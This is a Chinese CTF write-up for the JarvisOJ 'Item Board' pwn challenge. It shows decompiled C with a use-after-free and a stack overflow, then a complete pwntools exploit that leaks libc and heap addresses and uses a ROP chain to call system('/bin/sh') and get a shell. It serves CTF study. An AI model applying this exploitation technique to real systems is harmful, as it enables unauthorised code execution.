Item Board

nc pwn2.jarvisoj.com 9887

 

 

Hint1: 本题附件已更新,请大家重新下载以免影响解题。

 

ItemBoard.rar.6da1c739ca3041f37c37a9c0cf99afca

 

函数free过程中,set_null是空的,程序存在着UAF

void __cdecl new_item()
{
  int v0; // eax
  char buf[1024]; // [rsp+0h] [rbp-410h] BYREF
  int content_len; // [rsp+404h] [rbp-Ch]
  Item *item; // [rsp+408h] [rbp-8h]

  item = (Item *)malloc(0x18uLL);
  v0 = items_cnt++;
  item_array[v0] = item;
  item->name = (char *)malloc(0x20uLL);
  item->free = (void (*)(ItemStruct *))item_free;
  puts("New Item");
  puts("Item name?");
  fflush(stdout);
  read_until(0, buf, 32, '\n');
  strcpy(item->name, buf);
  puts("Description's len?");
  fflush(stdout);
  content_len = read_num();
  item->description = (char *)malloc(content_len);
  puts("Description?");
  fflush(stdout);
  read_until(0, buf, content_len, '\n');
  strcpy(item->description, buf);
  puts("Add Item Successfully!");
}

函数中存在栈溢出,content_len是为我们所指定的,程序不存在canary保护,因此exp如下:

from pwn import *

def new_item(name, length, description):
    io.recvuntil('choose:\n')
    io.sendline('1')
    io.recvuntil('Item name?\n')
    io.sendline(name)
    io.recvuntil("Description's len?\n")
    io.sendline(str(length))
    io.recvuntil('Description?\n')
    io.sendline(description)

def list_item():
    io.recvuntil('choose:\n')
    io.sendline('2')

def show_item(num):
    io.recvuntil('choose:\n')
    io.sendline('3')
    io.recvuntil('Which item?\n')
    io.sendline(str(num))

def remove_item(num):
    io.recvuntil('choose:\n')
    io.sendline('4')
    io.recvuntil('Which item?\n')
    io.sendline(str(num))

io = process('./itemboard')
#io = gdb.debug('./itemboard', 'b *$rebase(0xAC7)')
#io = remote('pwn2.jarvisoj.com', 9887)
elf = ELF('./itemboard')
libc = elf.libc
#libc = ELF('./libc-2.19.so')
main_arena = 0x3C4B20
#main_arena = 0x3C2760
#context.log_level = 'debug'

new_item('a', 0x80, 'a')
new_item('a', 0x80, 'a')
new_item('a', 1, 'a')
remove_item(0)
show_item(0)
io.recvuntil('Description:')
libc_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
info("libc_addr:" + str(hex(libc_addr)))
libc_base = libc_addr - main_arena - 88
info("libc_base:" + str(hex(libc_base)))
system_addr = libc_base + libc.symbols['system']
info("system_addr:" + str(hex(system_addr)))
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
info("binsh_addr:" + str(hex(binsh_addr)))
pop_rdi = libc_base + 0x21112
#pop_rdi = libc_base + 0x22b9a
info("pop_rdi:" + str(hex(pop_rdi)))

remove_item(1)
show_item(1)
io.recvuntil('Description:')
heap_addr = u64(io.recvline().strip().ljust(8, b'\x00'))
info("heap_addr:" + str(hex(heap_addr)))
heap_base = heap_addr - 0x510
info("heap_base:" + str(hex(heap_base)))

payload = b'a' * 1032 + p64(libc_addr - 8) + p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
new_item('a', len(payload), payload)

io.interactive()

不过这个exp在本地能通,远程的heap_addr不能正确返回,所以原先打算用的heap_base + 8用不了,现在的payload的libc_addr - 8是试出来的,要求是如果把libc_addr - 8当作一个Item结构体的话,它的description是一个可写入的地方

上一篇:leetcode之并查集+记忆化搜索+回溯+最小生成树刷题总结1


下一篇:js模拟微信拆红包js特效